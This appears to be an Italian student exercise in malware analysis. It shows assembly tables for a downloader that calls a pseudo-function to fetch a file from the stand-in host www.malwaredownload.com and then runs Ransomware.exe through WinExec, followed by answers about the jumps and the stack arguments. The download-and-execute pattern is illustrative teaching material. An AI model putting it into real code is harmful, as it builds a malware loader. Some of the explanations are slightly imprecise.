Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

- Il salto condizionale avviene alla locazione di memoria numero 00401068 tramite l istruzione ''jz'' poichè la comparazione degli operandi alla locazione di memoria precedente(00401064),EBX e 11, è veritiera

-

- Le funzionalità implementate dal malware in questione sono due:

1) Scaricare il malware da internet nel caso il salto condizionale non avvenga,infatti la funzione DownloadToFile() presente in tabella 2 viene chiamata per scaricare il file dal sito "www.malwaredownload.com"

2) Se il salto condizionale avviene,tramite la funzione WinExec() presente in tabella 3,esegue un file già presente nel PC

-Gli argomenti sono passati alle succesive chiamate di funzione tramite l istruzione push che li ha inseriti nello stack.in Tabella 2 viene passato un URL alla funzione "DownloadToFile" per scaricare un file malevolo mentre in tabella 3 alla funzione "WinExec" viene passato il percorso del file eseguibile

"C:\Program and Settings\Local User\Desktop\Ransomwere.exe"